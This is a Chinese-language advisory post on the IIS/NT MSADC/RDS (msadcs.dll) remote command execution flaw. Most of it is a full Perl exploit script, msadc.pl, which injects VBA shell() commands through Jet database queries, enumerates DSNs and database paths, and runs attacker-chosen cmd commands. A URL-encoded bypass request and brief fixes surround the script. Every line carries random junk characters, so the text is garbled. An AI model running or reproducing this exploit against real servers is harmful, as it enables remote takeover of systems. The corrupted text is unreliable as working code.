IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
ye6H*K 6w3R'\9 涉及程序:
pz^<\ Microsoft NT server
XP[uF ;w K5Wg"^AHY/ 描述:
1tzV8(7 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
u }hF8eD ,M !tm7 详细:
<M?: 如果你没有时间读详细内容的话,就删除:
wl=61Mb c:\Program Files\Common Files\System\Msadc\msadcs.dll
-OZ 5vH0 有关的安全问题就没有了。
^:, l\Y k4J8O3E 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
5R$G(Ap_ i yYJR 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
2pHR_mrb 关于利用ODBC远程漏洞的描述,请参看:
,n,RFa UK#&lim http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 1xyU W3W'oo 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
T4e\0.If http://www.microsoft.com/security/bulletins/MS99-025faq.asp ^y viV
Y ]T!
}XXK 这里不再论述。
>>d m}X {X]R-1> 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
9V uq,dv _gNz9$S /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
2U
kK0ls 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
59uwB('|lH RNVbcd `D7C?M#j] #将下面这段保存为txt文件,然后: "perl -x 文件名"
w^k;D,h }]1BO #!perl
8cx=#Me #
<hnCUg1 # MSADC/RDS 'usage' (aka exploit) script
l2%bF8]z #
]-o"}"3Ef # by rain.forest.puppy
eg+!*>GaX #
1B>V t*= # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
I&9S;I$ # beta test and find errors!
_&3<6$}i" <3PL@orO use Socket; use Getopt::Std;
@\_x'!R getopts("e:vd:h:XR", \%args);
` >!n
{npcPp9 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Gnm4gF!BI iL{M+Ic if (!defined $args{h} && !defined $args{R}) {
o;"OSp print qq~
>Y 1{rSk Usage: msadc.pl -h <host> { -d <delay> -X -v }
K[\'"HyQ,X -h <host> = host you want to scan (ip or domain)
-u!qrJ*Z -d <seconds> = delay between calls, default 1 second
yj6@7@l>A -X = dump Index Server path table, if available
rI$`9d -v = verbose
`pZs T
^G[ -e = external dictionary file for step 5
{)f~#37 ExSe=4q# Or a -R will resume a command session
DQ.v+C, /(I*,.d ~; exit;}
r5&I?
0 \b'xt $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
NBh%:tu7M if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
xynw8;Y, if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
0XwHP{XaO if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
:A46~UA!$ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
5pNY)>]t= if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
'+'CbWgY <<9Va. if (!defined $args{R}){ $ret = &has_msadc;
!
ueN|8' die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
I[MgIr^ h 6G/O`: print "Please type the NT commandline you want to run (cmd /c assumed):\n"
>>[/UFC)n . "cmd /c ";
ln*icaDqf $in=<STDIN>; chomp $in;
~sQjl] $command="cmd /c " . $in ;
?zJpD8e /5AW?2) if (defined $args{R}) {&load; exit;}
C`rLj5E% e)nimq
{6 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
G |*(8r() &try_btcustmr;
+,+vkpL-% WE}kTq print "\nStep 2: Trying to make our own DSN...";
Hs"(@eDV&J &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
6TWWlU^e 5/[H+O1; print "\nStep 3: Trying known DSNs...";
$!vxVs9n &known_dsn;
h)lPi b/$km?R print "\nStep 4: Trying known .mdbs...";
:vx$vZb &known_mdb;
A|#`k{+1- L(;WxHL if (defined $args{e}){
rn@`yTw^ print "\nStep 5: Trying dictionary of DSN names...";
U;_[b"SW% &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
4Ph0:^i_ vP%tk s+. print "Sorry Charley...maybe next time?\n";
~jU/<~s exit;
\u-0v.+| Mj>}zbpk/ ##############################################################################
js^ ,(CS o 6 {\Zzp sub sendraw { # ripped and modded from whisker
Bsf7mcXz7z sleep($delay); # it's a DoS on the server! At least on mine...
F+UG'4% my ($pstr)=@_;
W^,S6! socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
}*]B-\> die("Socket problems\n");
v1U?&C if(connect(S,pack "SnA4x8",2,80,$target)){
)/ Ud^wi select(S); $|=1;
rr`;W}3 print $pstr; my @in=<S>;
d|9b~_::V select(STDOUT); close(S);
{
kSf{>Ia
return @in;
rjt8fN } else { die("Can't connect...\n"); }}
;?fS(Vz~ .@)mxC:\K9 ##############################################################################
<mA'X V, *F^wtH` sub make_header { # make the HTTP request
{3a&1'a0g my $msadc=<<EOT
XKL3RMF9r POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
3gWvmep1 User-Agent: ACTIVEDATA
aIy*pmpD= Host: $ip
kB:Uu}(=N Content-Length: $clen
lLq<xf Connection: Keep-Alive
.%BT,$1K Mk 0+D# ADCClientVersion:01.06
BC>=B@H0 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
i=a-<A5x 2'jOP"G --!ADM!ROX!YOUR!WORLD!
wCs^J48= Content-Type: application/x-varg
Th[f9H% Content-Length: $reqlen
DF]9@{ 5
*}R$ EOT
&adI (s~ ; $msadc=~s/\n/\r\n/g;
(;x3} ] return $msadc;}
<>eOC9;VY KT|RF ##############################################################################
0Q,g7K<d }uHrto3M sub make_req { # make the RDS request
Kemw^48ts
my ($switch, $p1, $p2)=@_;
GY3 Wj my $req=""; my $t1, $t2, $query, $dsn;
}UJv[ nZ1zJpBmI if ($switch==1){ # this is the btcustmr.mdb query
%t=kdc0=_ $query="Select * from Customers where City=" . make_shell();
+i ?S $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
+=Jir1SLV $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
>%p{38 !1T\cS#1% elsif ($switch==2){ # this is general make table query
hDP/JN8y $query="create table AZZ (B int, C varchar(10))";
d4:`@* $dsn="$p1";}
WtQ8X|\` 4EI7W,y elsif ($switch==3){ # this is general exploit table query
%R#L $query="select * from AZZ where C=" . make_shell();
.xzEAu ; $dsn="$p1";}
{u{@jp @}_WE,r elsif ($switch==4){ # attempt to hork file info from index server
|@?%Ct $query="select path from scope()";
!?f5>Bl $dsn="Provider=MSIDXS;";}
:a8 YV!X
OV2-8ERS elsif ($switch==5){ # bad query
6%`&+Lq $query="select";
'C$XS>S $dsn="$p1";}
N- e$^pST wHZW ` $t1= make_unicode($query);
@Q&3L~K" $t2= make_unicode($dsn);
.M,RFC $req = "\x02\x00\x03\x00";
~"pKe~h $req.= "\x08\x00" . pack ("S1", length($t1));
fy@avo9 $req.= "\x00\x00" . $t1 ;
Dih6mTP{ $req.= "\x08\x00" . pack ("S1", length($t2));
r?m+.fJB $req.= "\x00\x00" . $t2 ;
j.~!dh$mg $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
(Q[fS:U return $req;}
G CRz<)1 -U~ ##############################################################################
2Y}?P+:%> h'J|K^na sub make_shell { # this makes the shell() statement
!f>d_RG return "'|shell(\"$command\")|'";}
rrg96WD $p!yhn7 ##############################################################################
xX3'bsN I{JU-Jk| sub make_unicode { # quick little function to convert to unicode
4p%A8%/q my ($in)=@_; my $out;
W)'*m-I for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
QY/hI` return $out;}
bQe^Px5
!. 4p;aS$Q ##############################################################################
4v
p kP#e((f, sub rdo_success { # checks for RDO return success (this is kludge)
A,su;Qh my (@in) = @_; my $base=content_start(@in);
+[\eFj|= if($in[$base]=~/multipart\/mixed/){
,h|q i[7 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
u&G.4QQF return 0;}
(>J4^``x= MRU7W4W-~/ ##############################################################################
s}5cSU!| !$2Z-! sub make_dsn { # this makes a DSN for us
u4z&!MT} my @drives=("c","d","e","f");
fA'qd.{f^ print "\nMaking DSN: ";
2._X|~0a foreach $drive (@drives) {
JvYPC print "$drive: ";
!8 &=y my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
_X~87 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
86@c't@ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
|+ N5z $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
) 9, return 0 if $2 eq "404"; # not found/doesn't exist
ys_`e if($2 eq "200") {
q'pK,uNW foreach $line (@results) {
(R`B'OtGg return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
9a'-Y } return 0;}
Uax+dl Bq/:Nd[y ##############################################################################
7+./zN Vcd.mE(t% sub verify_exists {
3+>G#W~ my ($page)=@_;
hF2IW{=! my @results=sendraw("GET $page HTTP/1.0\n\n");
dEBcfya return $results[0];}
kq\)MQ"/X .CP&bJP% ##############################################################################
zMIT}$L Zmbfq8K sub try_btcustmr {
{M,,npl my @drives=("c","d","e","f");
^Rm my @dirs=("winnt","winnt35","winnt351","win","windows");
No2b"G@ !lo/xQ< foreach $dir (@dirs) {
}b 1cLchl print "$dir -> "; # fun status so you can see progress
CJ}5T]WZ foreach $drive (@drives) {
=PGs{?+&O print "$drive: "; # ditto
0"~i^ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
"~TA SX_? $reqlenlen=length( "$reqlen" );
?` SUQm $clen= 206 + $reqlenlen + $reqlen;
R^{)D3 =4d (b ; my @results=sendraw(make_header() . make_req(1,$drive,$dir));
HF|oBX$_ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Spt?>sm else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Y8flrM2CwG J>d.dq>r ##############################################################################
5zON}"EC 8p[)MiC5W^ sub odbc_error {
r1RG TEkD my (@in)=@_; my $base;
1CLL%\V my $base = content_start(@in);
5nbEf9& if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
)O:0]=#)) $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
26CS6(sn $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6(PM'@i $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
@{Gncy| return $in[$base+4].$in[$base+5].$in[$base+6];}
E7-@&=]v print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
\"hJCP?, print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
A!^q
J# $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
&^4++ qZ@s#UiB ##############################################################################
w3jO6*_ M vq34/c^ sub verbose {
r(gXoq_w my ($in)=@_;
!?Wp+e6 return if !$verbose;
4&l10fR5 print STDOUT "\n$in\n";}
!A48TgAeE ]qhPd_$?D' ##############################################################################
Sna4wkbS }1IpON
sub save {
>:lnt /N3 my ($p1, $p2, $p3, $p4)=@_;
hMtf.3S7c open(OUT, ">rds.save") || print "Problem saving parameters...\n";
s+>:,U<A print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
+^;JS3p@\ close OUT;}
,AT[@ (p%>j0< ##############################################################################
A_KW(;50 y(K"
-? sub load {
~i 7^P9 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
K_&4D' open(IN,"<rds.save") || die("Couldn't open rds.save\n");
QY= = GfHt @p=<IN>; close(IN);
V')0 Mr $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
4`,j =3 $target= inet_aton($ip) || die("inet_aton problems");
Dc)dE2 print "Resuming to $ip ...";
s.8{5jVG $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
:6%Z]tt if($p[1]==1) {
X.:]=,aGW $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
$M Jm*6h $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
X1~1&:V,< my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
DK}"b}Fvq if (rdo_success(@results)){print "Success!\n";}
gCyW Vp else { print "failed\n"; verbose(odbc_error(@results));}}
{T].]7Z elsif ($p[1]==3){
D= 7c( if(run_query("$p[3]")){
>t7x>_~
print "Success!\n";} else { print "failed\n"; }}
$tl\UH7%2 elsif ($p[1]==4){
F:a ILx if(run_query($drvst . "$p[3]")){
W%\C_ print "Success!\n"; } else { print "failed\n"; }}
r7qh>JrO exit;}
ElUEteZ 6uR^%W8] ##############################################################################
}NB}"%2 B$Kn1 k sub create_table {
"yW:\ my ($in)=@_;
7%sdtunf` $reqlen=length( make_req(2,$in,"") ) - 28;
NFv>B> $reqlenlen=length( "$reqlen" );
0V?F'<qy $clen= 206 + $reqlenlen + $reqlen;
8g7<KKw my @results=sendraw(make_header() . make_req(2,$in,""));
-44l^}_u return 1 if rdo_success(@results);
=JmT:enV my $temp= odbc_error(@results); verbose($temp);
{p,]oOq\ return 1 if $temp=~/Table 'AZZ' already exists/;
NF?
vg/{ return 0;}
CD8}I85K ZK)%l~J ##############################################################################
33}oO,}t, fum0>tff sub known_dsn {
Tgl} # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
A<ynIs< my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
G+F:99A "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
!^ _"~ "banner", "banners", "ads", "ADCDemo", "ADCTest");
%.vVEy +]Y,q
w foreach $dSn (@dsns) {
Tyck/ EO print ".";
A%^ILyU6c next if (!is_access("DSN=$dSn"));
eY e, r if(create_table("DSN=$dSn")){
1UQHq@aM print "$dSn successful\n";
G%Lt.?m[ if(run_query("DSN=$dSn")){
&ot/nQQ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
t]e;;q=L. print "Something's borked. Use verbose next time\n";}}} print "\n";}
vY_-Ranj#. ZWS`\M ##############################################################################
W|o'& KI+VXH}Y5{ sub is_access {
,GgAsj: K my ($in)=@_;
L31|\x] $reqlen=length( make_req(5,$in,"") ) - 28;
Sfr&p>{, $reqlenlen=length( "$reqlen" );
S.a% $clen= 206 + $reqlenlen + $reqlen;
XO'l Nb. my @results=sendraw(make_header() . make_req(5,$in,""));
.rf"
(lM my $temp= odbc_error(@results);
=lpQnj" verbose($temp); return 1 if ($temp=~/Microsoft Access/);
@K!&qw return 0;}
c;'[W60 Y3=_ec3w ##############################################################################
<wAFy>7 8}(]]ayl sub run_query {
oqeSG.1 my ($in)=@_;
I&YSQK:b $reqlen=length( make_req(3,$in,"") ) - 28;
l(Q?rwI8Y $reqlenlen=length( "$reqlen" );
M8TSt\ $clen= 206 + $reqlenlen + $reqlen;
$r3i2N-I my @results=sendraw(make_header() . make_req(3,$in,""));
F_4n^@M return 1 if rdo_success(@results);
^53r/V }% my $temp= odbc_error(@results); verbose($temp);
nak Yn return 0;}
YtWJXkB wT{nu[=GH* ##############################################################################
LWt&3
/Js7`r=Rx sub known_mdb {
OiP!vn}k my @drives=("c","d","e","f","g");
n-@j5w+k4 my @dirs=("winnt","winnt35","winnt351","win","windows");
u#@Q:tnN_ my $dir, $drive, $mdb;
q?ix$nKOv my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
NhYLtw^u ny54XjtG, # this is sparse, because I don't know of many
Ct%x&m: my @sysmdbs=( "\\catroot\\icatalog.mdb",
Z@$8I{}G "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
l(#)WWr+ "\\system32\\certmdb.mdb",
dYgXtl=#j "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
fX|Y;S-@+ >_LDMs[-p my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
T'b_W,m~,u "\\cfusion\\cfapps\\forums\\forums_.mdb",
=*LS%WI "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
%x}
O1yV "\\cfusion\\cfapps\\security\\realm_.mdb",
$O5UyKI "\\cfusion\\cfapps\\security\\data\\realm.mdb",
)<Hd T "\\cfusion\\database\\cfexamples.mdb",
STaA]i}P "\\cfusion\\database\\cfsnippets.mdb",
J:\|Nc? "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
[r[=W! "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
0xXC^jx: "\\cfusion\\brighttiger\\database\\cleam.mdb",
;I!MLI "\\cfusion\\database\\smpolicy.mdb",
jXMyPNTK "\\cfusion\\database\cypress.mdb",
>MvDVPi~+ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
>HS W]"k "\\website\\cgi-win\\dbsample.mdb",
Zp#v Hs "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
XSZ k%_ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Ny%(VI5: ); #these are just
}_68j8` foreach $drive (@drives) {
~Onoe $A[< foreach $dir (@dirs){
z'EajBB\f foreach $mdb (@sysmdbs) {
v@d print ".";
:EA\)@^$R if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
TU
1I} , print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
*v3]}g[< if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
wg]j+r@ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
\R;`zuv } else { print "Something's borked. Use verbose next time\n"; }}}}}
6efnxxY}sa 2]ape !( foreach $drive (@drives) {
>cCR2j,r foreach $mdb (@mdbs) {
go<W( ,O print ".";
..R-Ms)k= if(create_table($drv . $drive . $dir . $mdb)){
PxS8 n?y print "\n" . $drive . $dir . $mdb . " successful\n";
!dC<4qZ\C if(run_query($drv . $drive . $dir . $mdb)){
x3"#POp print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
}x
wu*Zx } else { print "Something's borked. Use verbose next time\n"; }}}}
|UxG $M( }
`WH"%V:"Q .8G@%p{, ##############################################################################
,5*eX L~NbdaO sub hork_idx {
heK7pH7;d print "\nAttempting to dump Index Server tables...\n";
n;T7= 1_" print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
UZpIcj cL $reqlen=length( make_req(4,"","") ) - 28;
ut I"\1hQ $reqlenlen=length( "$reqlen" );
Aj4T"^fv $clen= 206 + $reqlenlen + $reqlen;
UTH_^HAN#G my @results=sendraw2(make_header() . make_req(4,"",""));
Sh8"F@P8 if (rdo_success(@results)){
"
_ka<R.. my $max=@results; my $c; my %d;
9& 83n(m for($c=19; $c<$max; $c++){
GJqJlgHe $results[$c]=~s/\x00//g;
\0f{S40 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
i0$kit $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
ZXuv CI $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
%GS(:]{n $d{"$1$2"}="";}
#: [<iSk foreach $c (keys %d){ print "$c\n"; }
Ch3jxgQY } else {print "Index server doesn't seem to be installed.\n"; }}
9
o&`5 rq/I` : ##############################################################################
fL=~NC" -B$2\ZE sub dsn_dict {
jyZWVL:_ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
9AJ7h9L while(<IN>){
XnWr5-; $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
N/K.%<h next if (!is_access("DSN=$dSn"));
9B7^lR if(create_table("DSN=$dSn")){
SV~~Q_U9 print "$dSn successful\n";
PJL=$gBgKk if(run_query("DSN=$dSn")){
Rw:*'1 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Gnq?"</ print "Something's borked. Use verbose next time\n";}}}
ssN6M./6 print "\n"; close(IN);}
ktpaU,% 6'Worj ##############################################################################
hK,Sf ;5V pj?f?.^ sub sendraw2 { # ripped and modded from whisker
7w6cwHrL@ sleep($delay); # it's a DoS on the server! At least on mine...
Evjj"h&0J my ($pstr)=@_;
Ls] g socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
R'@9]99 die("Socket problems\n");
#odI EC/ if(connect(S,pack "SnA4x8",2,80,$target)){
20nP/e print "Connected. Getting data";
<
RH UH)I open(OUT,">raw.out"); my @in;
57&b:0`p select(S); $|=1; print $pstr;
S-|)QGxV6 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
,^ . 88< close(OUT); select(STDOUT); close(S); return @in;
%YC_Se7 } else { die("Can't connect...\n"); }}
1BpiV-]=
hj.a&% ##############################################################################
bKN@j'M j?x>_#tIY sub content_start { # this will take in the server headers
+yD`3`
E my (@in)=@_; my $c;
<,e+
kL{ for ($c=1;$c<500;$c++) {
v63"^%LX if($in[$c] =~/^\x0d\x0a/){
?I~()]k5 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
<y NM%P<Oy else { return $c+1; }}}
V13N}] return -1;} # it should never get here actually
70Wgg ty 5MtLT#C3r ##############################################################################
5jgR4a*_v #nPQ!NB/ sub funky {
K#=*9S my (@in)=@_; my $error=odbc_error(@in);
EH!
q=&d if($error=~/ADO could not find the specified provider/){
+2&@x=xy print "\nServer returned an ADO miscofiguration message\nAborting.\n";
a+Kj1ix exit;}
N%*5 T[. if($error=~/A Handler is required/){
j+uLV{~g6 print "\nServer has custom handler filters (they most likely are patched)\n";
P<a)25be/ exit;}
jT]0WS-b if($error=~/specified Handler has denied Access/){
O%5
r[ print "\nServer has custom handler filters (they most likely are patched)\n";
&N\jG373 exit;}}
qfMo7e@6* [8*jw'W|[ ##############################################################################
5a|w+HO, a@UZb sub has_msadc {
vPTM my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
|w<H!lGe!$ my $base=content_start(@results);
to DG7XN} return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
dE4L=sTEsy return 0;}
sE Q=dcK yEhTNBa*h{ ########################
:<bB?N( YH\OFg@7 )\J+Kiy) 解决方案:
1Y7Eajt-5 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
V4'YWdTi 2、移除web 目录: /msadc